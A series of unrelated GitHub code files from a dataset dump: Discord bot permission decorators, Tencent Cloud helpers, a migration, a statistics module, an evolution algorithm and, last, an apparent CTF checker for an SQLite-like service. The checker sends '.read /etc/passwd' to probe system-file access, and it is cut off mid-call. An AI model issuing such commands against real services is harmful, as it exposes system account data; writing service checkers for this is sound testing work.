[cls.get_role(ctx, role) for role in roles]\n\n @staticmethod\n def intersection(list1, list2):\n \"\"\"Renvoie l'intersection de 2 listes.\"\"\"\n return list(set(list1) & set(list2))\n\n # ########### #\n # Decorateurs #\n # ########### #\n\n def me(self, func):\n \"\"\"Impose la condition d'être le créateur du bot pour exécuter une commande.\"\"\"\n\n @functools.wraps(func)\n async def decorated(obj, ctx: commands.Context, *args, **kwargs):\n if ctx.author.id == self.get_my_id():\n return await func(obj, ctx, *args, **kwargs)\n else:\n await ctx.send(fcite(\"Va te faire foutre ! Tu n'es pas mon maître !\"))\n await ctx.message.add_reaction(emoji.poop)\n\n decorated.__doc__ = \"[Créateur] \" + func.__doc__\n decorated.__signature__ = inspect.signature(func)\n return decorated\n\n def admin(self, func):\n \"\"\"Impose la condition d'être admin pour exécuter une commande.\"\"\"\n\n @functools.wraps(func)\n async def decorated(obj, ctx: commands.Context, *args, **kwargs):\n if ctx.author.id in self.get_masters_id():\n return await func(obj, ctx, *args, **kwargs)\n else:\n await ctx.send(\n fcite(self.rejection + \"Il s'agit d'une commande administrateur.\")\n )\n\n decorated.__doc__ = self.admin_emoji + \" \" + func.__doc__\n decorated.__signature__ = inspect.signature(func)\n return decorated\n\n def server_owner(self, func):\n \"\"\"Restreint l'exécution de la commande aux propriétaire du serveur.\"\"\"\n\n @functools.wraps(func)\n async def decorated(obj, ctx: commands.Context, *args, **kwargs):\n if ctx.author.id == ctx.guild.owner.id:\n return await func(obj, ctx, *args, **kwargs)\n else:\n await ctx.send(fcite(\n self.rejection\n + \"Il s'agit d'une commande pour le propriétaire du serveur.\"\n ))\n\n decorated.__doc__ = self.admin_emoji + \" \" + func.__doc__\n decorated.__signature__ = inspect.signature(func)\n return decorated\n\n def has_role(self, role):\n \"\"\"Alias du décorateur de discord\"\"\"\n return commands.has_role(role)\n\n def has_roles(self, roles_authorized: list, nb_min: int = 1):\n \"\"\"Renvoie un décorateur vérifiant que la personne possède au moins nb_min rôles.\"\"\"\n\n def deco(func):\n \"\"\"Limite l'accès à la fonction.\"\"\"\n\n @functools.wraps(func)\n async def decorated(obj, ctx: commands.Context, *args, **kwargs):\n author_roles = [r.name for r in ctx.author.roles]\n if len(self.intersection(author_roles, roles_authorized)) >= nb_min:\n return await func(obj, ctx, *args, **kwargs)\n else:\n txt = (\n self.rejection\n + f\"Il s'agit d'une commande réservée aux personnes\"\n + f\"possédant au moins {nb_min} de ces rôles: \\n\"\n )\n txt += \"\\n- \".join([\"\"] + [str(r) for r in roles_authorized])\n await ctx.send(fmarkdown(txt))\n\n decorated.__signature__ = inspect.signature(func)\n return decorated\n\n return deco\n\n\naccess = Access()\n","repo_name":"ValentinColin/yukki","sub_path":"tools/access.py","file_name":"access.py","file_ext":"py","file_size_in_byte":4844,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"33756955994","text":"# concatenate some stuff from 2 files into a 3rd file\n\n# open 2 existing files, make new file for writing\nmystates = open('states.txt')\nmyabbrevs = open('abbrevs.txt')\nF = open('merged_data.txt', 'w')\n\n# things to write into the new file\na = ''\n\nfor line in mystates:\n\tb = myabbrevs.readline()\n\tb = b.rstrip() # we need .rstrip or else it makes a line break\n\td = line.rstrip() # same here\n\tF.write(a + b + c + d + e + '\\n')\n\n# close all files\nmystates.close()\nmyabbrevs.close()\nF.close()\n","repo_name":"macloo/html-forms-examples","sub_path":"data/merger.py","file_name":"merger.py","file_ext":"py","file_size_in_byte":564,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"39375233499","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\nimport json\nfrom tencentcloud.common import credential\nfrom tencentcloud.common.profile.client_profile import ClientProfile\nfrom tencentcloud.common.profile.http_profile import HttpProfile\nfrom tencentcloud.common.exception.tencent_cloud_sdk_exception import TencentCloudSDKException\nfrom tencentcloud.cvm.v20170312 import cvm_client, models\nfrom tencentcloud.vpc.v20170312 import vpc_client, models as vpc_models\nfrom fmops import settings\n\n\nclass Tencent_Cloud_Object(object):\n\n SecretId = settings.TENCENT_SECRET_ID\n SecretKey = settings.TENCENT_SECRET_KEY\n\n def __init__(self):\n self._cred = credential.Credential(self.SecretId, self.SecretKey)\n\n @property\n def credential(self):\n return self._cred\n\n @staticmethod\n def profile(service=\"cvm\"):\n httpProfile = HttpProfile()\n httpProfile.endpoint = service + \".tencentcloudapi.com\"\n clientProfile = ClientProfile()\n clientProfile.httpProfile = httpProfile\n return clientProfile\n\n\nclass Tencent_Cloud_NetWork(Tencent_Cloud_Object):\n SERVICE_NAME = \"vpc\"\n\n def describe_vpc_request(self, region):\n client = vpc_client.VpcClient(self.credential, region, self.profile(self.SERVICE_NAME))\n req = vpc_models.DescribeVpcsRequest()\n req.from_json_string('{}')\n return json.loads(client.DescribeVpcs(req).to_json_string())\n\n def describe_subnet_request(self, region, vpc_id, zone='ap-shanghai-2'):\n client = vpc_client.VpcClient(self.credential, region, self.profile(self.SERVICE_NAME))\n req = vpc_models.DescribeSubnetsRequest()\n params = '{\"Filters\":[{\"Name\":\"vpc-id\",\"Values\":[\"%s\"]},{\"Name\":\"zone\",\"Values\":[\"%s\"]}]}' % (vpc_id, zone) if vpc_id else '{}'\n req.from_json_string(params)\n return json.loads(client.DescribeSubnets(req).to_json_string())['SubnetSet']\n\n def describe_subnet_zone_request(self, region, vpc_id, zone):\n subnets = self.describe_subnet_request(region, vpc_id)\n subnet_list = []\n for subnet in subnets:\n if subnet['Zone'] == zone:\n subnet_list.append(subnet)\n return subnet_list\n\n def describe_security_groups(self, region):\n client = vpc_client.VpcClient(self.credential, region, self.profile(self.SERVICE_NAME))\n req = vpc_models.DescribeSecurityGroupsRequest()\n req.from_json_string('{}')\n return json.loads(client.DescribeSecurityGroups(req).to_json_string())['SecurityGroupSet']\n\n def describe_security_group_policies(self, region, security_id):\n client = vpc_client.VpcClient(self.credential, region, self.profile(self.SERVICE_NAME))\n req = vpc_models.DescribeSecurityGroupPoliciesRequest()\n params = '{\"SecurityGroupId\":\"%s\"}' % security_id\n req.from_json_string(params)\n resp = client.DescribeSecurityGroupPolicies(req)\n return json.loads(resp.to_json_string())['SecurityGroupPolicySet']\n\n\nclass Tencent_Cloud_CVM(Tencent_Cloud_Object):\n SERVICE_NAME = \"cvm\"\n\n def describe_region_request(self):\n client = cvm_client.CvmClient(self.credential, \"ap-shanghai\", self.profile(self.SERVICE_NAME))\n req = models.DescribeRegionsRequest()\n params = '{}'\n req.from_json_string(params)\n resp = client.DescribeRegions(req)\n return resp.to_json_string()\n\n def describe_zone_request(self, region):\n zone_list = []\n client = cvm_client.CvmClient(self.credential, region, self.profile(self.SERVICE_NAME))\n req = models.DescribeZonesRequest()\n req.from_json_string('{}')\n resp = json.loads(client.DescribeZones(req).to_json_string())\n for zone in resp['ZoneSet']:\n if zone['ZoneState'] == \"AVAILABLE\":\n zone_list.append(zone)\n return zone_list\n\n def describe_images_request(self, region):\n client = cvm_client.CvmClient(self.credential, region, self.profile(self.SERVICE_NAME))\n req = models.DescribeImagesRequest()\n req.from_json_string('{}')\n resp = client.DescribeImages(req)\n return resp.to_json_string()\n\n def get_os_image_list(self, region, platform='Centos'):\n os_list = []\n images = json.loads(self.describe_images_request(region))\n for image in images['ImageSet']:\n if str(image['Platform']).upper() == platform.upper():\n os_list.append(image)\n return os_list\n\n def describe_instance_config_request(self, region):\n client = cvm_client.CvmClient(self.credential, region, self.profile(self.SERVICE_NAME))\n req = models.DescribeZoneInstanceConfigInfosRequest()\n req.from_json_string('{}')\n return json.loads(client.DescribeZoneInstanceConfigInfos(req).to_json_string())\n\n def describe_instance_status_request(self, region):\n client = cvm_client.CvmClient(self.credential, region, self.profile(self.SERVICE_NAME))\n req = models.DescribeInstancesStatusRequest()\n req.from_json_string('{}')\n return json.loads(client.DescribeInstancesStatus(req).to_json_string())\n\n def run_instances_request(self, args):\n client = cvm_client.CvmClient(self.credential, args['region'], self.profile(self.SERVICE_NAME))\n req = models.RunInstancesRequest()\n params ={\"InstanceChargeType\": \"PREPAID\",\n \"InstanceChargePrepaid\": {\n \"Period\": int(args['Period']),\n \"RenewFlag\": \"NOTIFY_AND_MANUAL_RENEW\"\n },\n \"Placement\": {\n \"Zone\": args['zone']\n },\n \"InstanceType\": args['InstanceType'],\n \"ImageId\": args['ImageId'],\n \"InstanceCount\": 1,\n \"SystemDisk\": {\n \"DiskType\": args['DiskType'],\n \"DiskSize\": int(args['DiskSize'])\n },\n \"HostName\": args['HostName'],\n \"VirtualPrivateCloud\": {\n \"VpcId\": args['vpc'],\n \"SubnetId\": args['subnet']\n },\n \"InternetAccessible\": {\n \"InternetChargeType\": args['InternetChargeType'],\n \"InternetMaxBandwidthOut\": int(args['InternetMaxBandwidthOut']),\n \"PublicIpAssigned\": args['PublicIpAssigned']\n },\n \"LoginSettings\": {\n \"Password\": args['Password']\n },\n \"SecurityGroupIds\": [args['SecurityGroupIds']]\n }\n req.from_json_string(json.dumps(params))\n resp = client.RunInstances(req)\n return json.loads(resp.to_json_string())\n\n","repo_name":"amoyx/fmops","sub_path":"utils/tencentcloud.py","file_name":"tencentcloud.py","file_ext":"py","file_size_in_byte":6744,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"18622184691","text":"\"\"\"empty message\n\nRevision ID: 190bc87884f1\nRevises: 5d46eced8fc3\nCreate Date: 2016-06-15 18:50:06.494631\n\n\"\"\"\n\n# revision identifiers, used by Alembic.\nrevision = '190bc87884f1'\ndown_revision = '5d46eced8fc3'\n\nfrom alembic import op\nimport sqlalchemy as sa\nfrom sqlalchemy.dialects import postgresql\n\ndef upgrade():\n ### commands auto generated by Alembic - please adjust! ###\n op.drop_table('tags')\n op.add_column('media', sa.Column('image', sa.String(length=255), nullable=True))\n op.add_column('media', sa.Column('image_storage_bucket_name', sa.String(length=255), nullable=True))\n op.add_column('media', sa.Column('image_storage_type', sa.String(length=255), nullable=True))\n op.drop_constraint(u'media_post_id_fkey', 'media', type_='foreignkey')\n op.drop_column('media', 'mimetype')\n op.drop_column('media', 'name')\n op.drop_column('media', 'filename')\n op.drop_column('media', 'post_id')\n op.drop_column('media', 'filesize')\n op.drop_column('media', 'shortcode')\n op.drop_column('media', 'dir')\n op.alter_column('posts', 'created_at',\n existing_type=postgresql.TIMESTAMP(),\n nullable=False)\n op.alter_column('posts', 'updated_at',\n existing_type=postgresql.TIMESTAMP(),\n nullable=False)\n ### end Alembic commands ###\n\n\ndef downgrade():\n ### commands auto generated by Alembic - please adjust! ###\n op.alter_column('posts', 'updated_at',\n existing_type=postgresql.TIMESTAMP(),\n nullable=True)\n op.alter_column('posts', 'created_at',\n existing_type=postgresql.TIMESTAMP(),\n nullable=True)\n op.add_column('media', sa.Column('dir', sa.VARCHAR(), autoincrement=False, nullable=True))\n op.add_column('media', sa.Column('shortcode', sa.VARCHAR(), autoincrement=False, nullable=True))\n op.add_column('media', sa.Column('filesize', sa.INTEGER(), autoincrement=False, nullable=True))\n op.add_column('media', sa.Column('post_id', sa.INTEGER(), autoincrement=False, nullable=True))\n op.add_column('media', sa.Column('filename', sa.VARCHAR(), autoincrement=False, nullable=True))\n op.add_column('media', sa.Column('name', sa.VARCHAR(), autoincrement=False, nullable=True))\n op.add_column('media', sa.Column('mimetype', sa.VARCHAR(), autoincrement=False, nullable=True))\n op.create_foreign_key(u'media_post_id_fkey', 'media', 'posts', ['post_id'], ['id'])\n op.drop_column('media', 'image_storage_type')\n op.drop_column('media', 'image_storage_bucket_name')\n op.drop_column('media', 'image')\n op.create_table('tags',\n sa.Column('id', sa.INTEGER(), nullable=False),\n sa.Column('created_at', postgresql.TIMESTAMP(), autoincrement=False, nullable=False),\n sa.Column('updated_at', postgresql.TIMESTAMP(), autoincrement=False, nullable=False),\n sa.PrimaryKeyConstraint('id', name=u'tags_pkey')\n )\n ### end Alembic commands ###\n","repo_name":"yoophi/flaskygram","sub_path":"migrations/versions/190bc87884f1_.py","file_name":"190bc87884f1_.py","file_ext":"py","file_size_in_byte":2937,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"74566787920","text":"# pylint: disable=missing-module-docstring\n# pylint: disable=missing-class-docstring\n# pylint: disable=missing-function-docstring\n\nimport sys\n\nfrom src.isa import write_code\nfrom src.translator.lex import Lexer\nfrom src.translator.parse import Parser, TranslationException\n\n\ndef main(args):\n assert len(args) == 2, \"Wrong arguments: translate.py \"\n source, target = args\n\n with open(source, \"rt\", encoding=\"utf-8\") as file:\n source = file.read()\n\n lexer = Lexer(source)\n parser = Parser(lexer)\n\n try:\n code = parser.program()\n print(\"source LoC:\", len(source.split(\"\\n\")), \"| code instr:\", len(code))\n write_code(target, code)\n except TranslationException as exception:\n print(exception.get_msg())\n\n\nif __name__ == '__main__':\n main(sys.argv[1:])\n","repo_name":"Bordsiya/ComputerArchitectureLab3","sub_path":"src/translator/translate.py","file_name":"translate.py","file_ext":"py","file_size_in_byte":832,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"29812458265","text":"#!python\n\nfrom minion import get_minion_game_winner, const\n\n\nEXAMPLE0 = \"\"\"\nBANANA\n\nStuart 12\n\"\"\"\n\nEXAMPLE1 = \"\"\"\nBAANANAS\n\nKevin 19\n\"\"\"\n\nEXAMPLE7 = \"\"\"\nBANAASA\n\nDraw\n\"\"\"\n\nEXAMPLE14 = (\n \"example_14_input.txt\",\n \"example_14_output.txt\",\n)\n\nfrom dataclasses import dataclass\n\n@dataclass\nclass Example:\n input_string: str\n output_player: str\n output_score: int\n\n @classmethod\n def parse_example(cls, example):\n if isinstance(example, tuple):\n input_fp, output_fp = example\n with open(input_fp) as buffer:\n example_input = buffer.read().rstrip()\n with open(output_fp) as buffer:\n example_output = buffer.read()\n else:\n lines = example.splitlines()\n example_input = lines[1]\n example_output = lines[-1].rstrip()\n\n if example_output == const.Draw:\n winner, score = const.Draw, None\n else:\n winner, score = example_output.split()\n score = int(score)\n return cls(\n input_string=example_input,\n output_player=winner,\n output_score=score,\n )\n\n\ndef test_example(example):\n print(f\"Testing:\\n {example}\")\n e = Example.parse_example(example)\n\n def _assert_equal(a, b):\n if a != b:\n raise ValueError(f\"{repr(a)} != {repr(b)}\")\n\n winner, score = get_minion_game_winner(e.input_string)\n _assert_equal(winner, e.output_player)\n _assert_equal(score, e.output_score)\n\n\nif __name__ == '__main__':\n import pdb\n #s = input()\n #minion_game(s)\n test_example(EXAMPLE0)\n test_example(EXAMPLE1)\n test_example(EXAMPLE7)\n test_example(EXAMPLE14)\n","repo_name":"earthastronaut/python_morsels","sub_path":"minion_game/test_minion.py","file_name":"test_minion.py","file_ext":"py","file_size_in_byte":1700,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"353547347","text":"'''\nStats Module\n\nContains functions for running statistics on our data\n\n ttest(m1,m2,v1,v2,n1,n2)\n\n - Computes the t-statistics for a two sample t-test without\n assuming equal variances of the two data sets\n\n zScoreData(data)\n\n - Z-scores a list of data\n\n distanceMatrix(x,y)\n\n - Computes the distance between every x and y coordinate and\n organizes these distances into a matrix\n\n coefficientOfError(data)\n\n - Computes the coefficient of error on the data set\n\n'''\n\n########################################################################\n########################### IMPORT PACKAGES ############################\n########################################################################\n\n# Import square root and distance from math\nfrom math import sqrt\n\n# Import java's summary statistics package so we can compute means and\n# standard deviations to compute z-scores\nfrom org.apache.commons.math3.stat.descriptive import DescriptiveStatistics as DSS\n\n########################################################################\n################################# ttest ################################\n########################################################################\n\n# Define a function to run two sample t-tests\ndef ttest(m1,m2,v1,v2,n1,n2):\n '''\n Computes the t-statistics for a two sample t-test without assuming\n equal variances of the two data sets\n\n ttest(m1,m2,v1,v2,n1,n2)\n\n - m1 (float): first sample mean\n\n - m2 (float): second sample mean\n\n - v1 (float): first sample variance\n\n - v2 (float): second sample variance\n\n - n1 (int): first sample n\n\n - n2 (int): second sample n\n\n OUTPUT t-statistic as float\n\n AR Nov 2021\n '''\n\n # Return the t-statistic for this test\n return (m1 - m2) / sqrt((v1**2/n1) + (v2**2/n2))\n\n########################################################################\n############################## zScoreData ##############################\n########################################################################\n\n# Write a function to z-score a list of data\ndef zScoreData(data):\n '''\n Z-scores a list of data\n\n zScoreData(data):\n\n - data (List of Floats): data you want to z-score\n\n OUTPUT list of z-scored data points\n\n AR Feb 2022\n '''\n\n # Initialize a descriptive statistics object so we can compute the\n # average and standard deviation of the sample\n stats = DSS(data)\n\n # Store the average and standard deviation of the data\n avg = stats.getMean()\n std = stats.getStandardDeviation()\n del stats\n\n # Return the z-scored list of data\n return [(value - avg)/std for value in data]\n\n########################################################################\n############################ distanceMatrix ############################\n########################################################################\n\n# Compute the distance between all points in a list\ndef distanceMatrix(x,y):\n '''\n Computes the distance between every x and y coordinate and organizes\n these distances into a matrix\n\n distanceMatrix(x,y)\n\n - x (List of floats): X coordinates of all points in our data\n set\n\n - y (List of floats): Y coordinates of all points in our data\n set\n\n OUTPUT List of lists of floats representing the distance between all\n points in our data set.\n\n AR Mar 2022\n '''\n\n # Store the number of points in the data set\n nPts = len(x)\n\n # Initialize a list of lists that will store the distances between\n # all points\n distMat = []\n\n # Loop across all points in our data set, except the last point\n for p in range(nPts-1):\n\n # Generate a list that will store the distance from this point p\n # to all other sequential points\n distList = [0] * nPts\n\n # Loop across all points in our data set, starting at the point\n # after p\n for q in range(p+1,nPts):\n\n # Compute the distance from point p to q and add it to our\n # list of distances\n distList[q] = sqrt((x[p] - x[q])**2 + (y[p] - y[q])**2)\n\n # Add our list of distances to the distance matrix\n distMat.append(distList)\n\n # Add a final column with only zeros to the end of the distance\n # matrix\n distMat.append([0] * nPts)\n\n # Mirror the matrix across the diagonal\n for i in range(nPts):\n for j in range(i+1):\n distMat[i][j] = distMat[j][i]\n\n # Return the final matrix\n return distMat\n\n########################################################################\n########################## coefficientOfError ##########################\n########################################################################\n\n# Write a function to calculate the coefficient of error\ndef coefficientOfError(data):\n '''\n Computes the coefficient of error on the data set\n\n coefficientOfError(data)\n\n - data (List of Floats): Measurements you want the coefficient\n of error for\n\n OUTPUT float with coefficient of error\n\n AR Mar 2022\n '''\n\n # Initialize a descriptive statistics object so we can compute the\n # average and standard deviation of the sample\n stats = DSS(data)\n\n # Store the average and standard deviation of the data\n avg = stats.getMean()\n std = stats.getStandardDeviation()\n del stats\n\n # Return the coefficient of error assuming systematic sampling (from\n # West et al., The Anatomical Record (1991))\n return std / (len(data) * avg)\n","repo_name":"VPNL/FijiUpdateSite","sub_path":"FijiPyLib/src/main/resources/Stats.py","file_name":"Stats.py","file_ext":"py","file_size_in_byte":5625,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"22796351773","text":"#差分演化算法\nimport numpy as np\nimport random\n\n#差分演化算法类,包括参数和方法\nclass DE: #类名\n def __init__(self, min_range, max_range, dim, factor, rounds, size, object_func, CR=0.75): #构造函数\n self.min_range = min_range #个体向量中元素的下界\n self.max_range = max_range #个体向量中元素的上界\n self.dimension = dim #个体向量的维数\n self.factor = factor #缩放因子\n self.rounds = rounds #演化代数\n self.size = size #种群大小\n self.cur_round = 1 #初始代数\n self.CR = CR #杂交概率\n self.get_object_function_value = object_func #目标函数\n # 初始化种群\n self.individuality = [np.array([random.uniform(self.min_range, self.max_range) for s in range(self.dimension)])\n for tmp in range(size)] #随机产生在上下界范围内的实数,以初始化种群向量\n self.object_function_values = [self.get_object_function_value(v) for v in self.individuality] #计算各向量的目标函数值\n self.mutant = None #存储差分变异得到的Vi(变异向量)\n\n #差分变异的函数实现\n def mutate(self): #函数名\n self.mutant = [] #初始化mutant列表\n #此处使用“DE/rand/1”经典差分变异算子\n for i in range(self.size): #进行种群大小次循环\n r0, r1, r2 = 0, 0, 0 #初始化r0,r1,r2\n while r0 == r1 or r1 == r2 or r0 == r2 or r0 == i: #随机选取三个向量的下标,并保证r0!=r1!=r2!=i\n r0 = random.randint(0, self.size - 1) #随机选取\n r1 = random.randint(0, self.size - 1) #同上\n r2 = random.randint(0, self.size - 1) #同上\n tmp = self.individuality[r0] + (self.individuality[r1] - self.individuality[r2]) * self.factor #计算向量Vi(变异向量)\n for t in range(self.dimension): #循环,对Vi(变异向量)每一维进行判断\n if tmp[t] > self.max_range or tmp[t] < self.min_range: #保证每一维都在范围内\n tmp[t] = random.uniform(self.min_range, self.max_range) #否则随机赋值\n self.mutant.append(tmp) #将Vi(变异向量)加入到mutant列表中\n #杂交与选择的函数实现\n def crossover_and_select(self): #函数名\n for i in range(self.size): #循环种群大小次\n Jrand = random.randint(0, self.dimension) #生成0到维数范围内的随机数,即生成jrand\n for j in range(self.dimension): #对每一维\n if random.random() > self.CR and j != Jrand: #生成0到1之间的随机数rndint,若rndint大于杂交概率并且jrand不等于j��此处与ppt的条件相反\n self.mutant[i][j] = self.individuality[i][j] #将xij(目标向量)赋值给uij\n #进行选择\n tmp = self.get_object_function_value(self.mutant[i]) #计算uij(实验向量)的目标函数值\n if tmp <= self.object_function_values[i]: #若ui(实验向量)的目标函数值小于等于xi的函数值\n self.individuality[i] = self.mutant[i] #将ui赋值给xi\n self.object_function_values[i] = tmp #同时改变其函数值\n #输出最优的个体\n def print_best(self): #函数名\n m = min(self.object_function_values) #找到最小的函数值\n i = self.object_function_values.index(m) #找到其下标\n print(\"轮数:\" + str(self.cur_round)) #输出演化代数\n print(\"最佳个体:\" + str(self.individuality[i])) #输出最佳个体\n print(\"目标函数值:\" + str(m)) #输出最佳的目标函数值\n\n #演化控制函数\n def evolution(self): #函数名\n while self.cur_round < self.rounds: #当小于演化代数时\n self.mutate() #变异\n self.crossover_and_select() #杂交与选择\n self.print_best() #输出当前最佳\n self.cur_round = self.cur_round + 1 #代数加一\n\n\n# 测试部分\nif __name__ == \"__main__\": #main函数\n def f(v): #目标函数\n return -(v[1] + 47) * np.sin(np.sqrt(np.abs(v[1] + (v[0] / 2) + 47))) - v[0] * np.sin(np.sqrt(np.abs(v[0] - v[1] - 47))) #返回目标函数值\n p = DE(min_range=-513, max_range=513, dim=2, factor=0.8, rounds=100, size=100, object_func=f) #DE类的初始化\n p.evolution() #开始进行演化\n","repo_name":"reol444/IOA","sub_path":"差分演化算法/DE.py","file_name":"DE.py","file_ext":"py","file_size_in_byte":4451,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"10964731254","text":"#!/usr/bin/env python3\n \nimport sys\nimport traceback\nimport socket\nimport re\nimport os\nfrom binascii import unhexlify\nfrom random import randint\n\nOK, CORRUPT, MUMBLE, DOWN, CHECKER_ERROR = 101, 102, 103, 104, 110\nPORT = 1433\n\ndef trace(message):\n print(message, file=sys.stderr)\n\ndef verdict(exit_code, public=\"\", private=\"\"):\n if public:\n print(public)\n if private:\n print(private, file=sys.stderr)\n sys.exit(exit_code)\n\ndef info():\n verdict(OK, \"vulns: 1\")\n\ndef exec_sql(s, sql):\n q = \"%s\\n\" % re.sub('\\n', ' ', sql)\n\n try:\n s.send(q.encode('utf-8'))\n except ConnectionRefusedError:\n verdict(DOWN, \"Connection error\", \"Connection refused while sending `%s`\" % sql)\n except socket.timeout:\n verdict(DOWN, \"Timeout\", \"Connection timeout while sending `%s`\" % sql)\n except OSError as e:\n if 'No route to host' in str(e):\n verdict(DOWN, \"No route to host\", \"No route to host while sending `%s`\" % sql)\n else:\n raise\n\ndef recv(s):\n data = ''\n while True:\n if \">\" in data:\n return data.rstrip().rstrip('>').rstrip()\n\n try:\n data = data + s.recv(1024).decode('utf-8')\n except ConnectionRefusedError:\n verdict(DOWN, \"Connection error\", \"Connection refused in recv\")\n except socket.timeout:\n verdict(DOWN, \"Timeout\", \"Connection timeout in recv\")\n except OSError as e:\n if 'No route to host' in str(e):\n verdict(DOWN, \"No route to host\", \"No route to host in recv\")\n else:\n raise\n\ndef get_random_text():\n messages_path = os.path.join(os.path.dirname(os.path.realpath(__file__)), 'messages.txt')\n with open(messages_path, 'r', encoding='utf-8') as f:\n messages = [line.rstrip() for line in f]\n return messages[randint(0, len(messages) - 1)].replace(\"'\", \"\")\n\ndef get_random_word(text):\n words = [w for w in text.split() if re.match(r'^\\w+$', w) and len(w) > 3]\n return words[randint(0, len(words) - 1)]\n\ndef check(args):\n if len(args) != 1:\n verdict(CHECKER_ERROR, \"Wrong args count\", \"Wrong args count for check()\")\n host = args[0]\n trace(\"check(%s)\" % host)\n\n s = socket.socket()\n s.settimeout(5)\n\n try:\n s.connect((host, PORT))\n except ConnectionRefusedError:\n verdict(DOWN, \"Connection error\", \"Connection refused\")\n except socket.timeout:\n verdict(DOWN, \"Timeout\", \"Connection timeout\")\n except OSError as e:\n if 'No route to host' in str(e):\n verdict(DOWN, \"No route to host\", \"No route to host\")\n else:\n raise\n\n trace(\"Waiting for `> `\")\n recv(s)\n\n trace(\"Executing .thumbprint\")\n sql = \".thumbprint\"\n exec_sql(s, sql)\n thumbprint = recv(s)\n\n trace(\"Checking sqlite3_exec\")\n exec_sql(s, \"CREATE TABLE t(a INT);BEGIN;\")\n r = recv(s)\n if r != '':\n verdict(MUMBLE, \"Unexpected query result\", \"Unexpected create table result: `%s`\" % r)\n exec_sql(s, \"INSERT INTO t VALUES(%s); ROLLBACK;SELECT COUNT(*) FROM t;\" % randint(0, 6555663))\n\n try:\n count = int(recv(s).strip('|'))\n except:\n verdict(MUMBLE, \"Unexpected query result\", \"Exception while parse count\")\n\n if count != 0:\n verdict(MUMBLE, \"Unexpected query result\", \"Unexpected count query result: `%s`\" % count)\n\n sql = \"\"\"\n CREATE TABLE x(id integer primary key, a TEXT NULL);\n INSERT INTO x (a) VALUES ('first');\n CREATE TABLE tempx(id integer primary key, a TEXT NULL);\n INSERT INTO tempx (a) VALUES ('t-first');\n CREATE VIEW tv1 AS SELECT x.id, tx.id FROM x JOIN tempx tx ON tx.id=x.id;\n CREATE VIEW tv1b AS SELECT x.id, tx.id FROM x JOIN tempx tx on tx.id=x.id;\n CREATE VIEW tv2 AS SELECT * FROM tv1 UNION SELECT * FROM tv1b;\n SELECT * FROM tv2;\n \"\"\"\n exec_sql(s, sql)\n r = recv(s)\n if r != '|1|1|':\n verdict(MUMBLE, \"Unexpected query result\", \"Unexpected query 1 result: `%s`\" % r)\n\n sql = \"\"\"\n create temp table t1(x);\n insert into t1 values('amx');\n insert into t1 values('anx');\n insert into t1 values('amy');\n insert into t1 values('bmy');\n select * from t1 where x like 'a__'\n intersect select * from t1 where x like '_m_'\n intersect select * from t1 where x like '__x';\n \"\"\"\n exec_sql(s, sql)\n r = recv(s)\n if r != '|amx|':\n verdict(MUMBLE, \"Unexpected query result\", \"Unexpected query 2 result: `%s`\" % r)\n\n sql = \"\"\"\n CREATE TABLE t01(x, y);\n CREATE TABLE t02(x, y);\n \"\"\"\n exec_sql(s, sql)\n r = recv(s)\n if r != '':\n verdict(MUMBLE, \"Unexpected query result\", \"Unexpected query 3 result: `%s`\" % r)\n\n sql = \"\"\"\n CREATE VIEW v0 as SELECT x, y FROM t01 UNION SELECT x FROM t02;\n EXPLAIN QUERY PLAN SELECT * FROM v0 WHERE x='0' OR y;\n \"\"\"\n exec_sql(s, sql)\n r = recv(s)\n if r != 'E! SELECTs to the left and right of UNION do not have the same number of result columns':\n verdict(MUMBLE, \"Unexpected query result\", \"Unexpected query 4 result: `%s`\" % r)\n\n sql = \"SELECT X'01020k304', 100;\"\n exec_sql(s, sql)\n r = recv(s)\n if r != \"E! unrecognized token: \\\"X'01020k304'\\\"\":\n verdict(MUMBLE, \"Unexpected query result\", \"Unexpected query 5 result: `%s`\" % r)\n\n sql = \"\"\"\n CREATE TABLE j2(id INTEGER PRIMARY KEY, json, src);\n INSERT INTO j2(id,json,src)\n VALUES(1,'{\n \"firstName\": \"John\",\n \"lastName\": \"Smith\",\n \"isAlive\": true,\n \"age\": 25,\n \"address\": {\n \"streetAddress\": \"21 2nd Street\",\n \"city\": \"New York\",\n \"state\": \"NY\",\n \"postalCode\": \"10021-3100\"\n },\n \"phoneNumbers\": [\n {\n \"type\": \"home\",\n \"number\": \"212 555-1234\"\n },\n {\n \"type\": \"office\",\n \"number\": \"646 555-4567\"\n }\n ],\n \"children\": [],\n \"spouse\": null\n }','https://en.wikipedia.org/wiki/JSON');\n\n SELECT count(*) FROM j2;\n \"\"\"\n exec_sql(s, sql)\n r = recv(s)\n if r != '|1|':\n verdict(MUMBLE, \"Unexpected query result\", \"Unexpected query 6 result: `%s`\" % r)\n\n while True:\n random_text = get_random_text()\n if len(random_text) > 20:\n break\n\n random_word = get_random_word(random_text)\n\n sql = \"CREATE VIRTUAL TABLE messages USING fts5(body);\"\n trace(\"Executing `%s`\" % sql)\n exec_sql(s, sql)\n r = recv(s)\n if r != '':\n verdict(MUMBLE, \"Unexpected query result\", \"Unexpected create fts table result: `%s`\" % r)\n\n sql = \"INSERT INTO messages VALUES('%s');\" % random_text\n trace(\"Executing `%s`\" % sql)\n exec_sql(s, sql)\n r = recv(s)\n if r != '':\n verdict(MUMBLE, \"Unexpected query result\", \"Unexpected insert result: `%s`\" % r)\n\n sql = \"SELECT * FROM messages WHERE body MATCH '%s';\" % random_word\n trace(\"Executing `%s`\" % sql)\n exec_sql(s, sql)\n result = recv(s).strip('|')\n if result != random_text:\n verdict(MUMBLE, \"Unexpected query result\", \"Unexpected fts-query result: `%s`\" % result)\n\n sql = \".read /etc/passwd\"\n trace(\"Executing `%s`\" % sql)\n exec_sql(s, sql)\n recv(s)\n\n exec_sql(s, 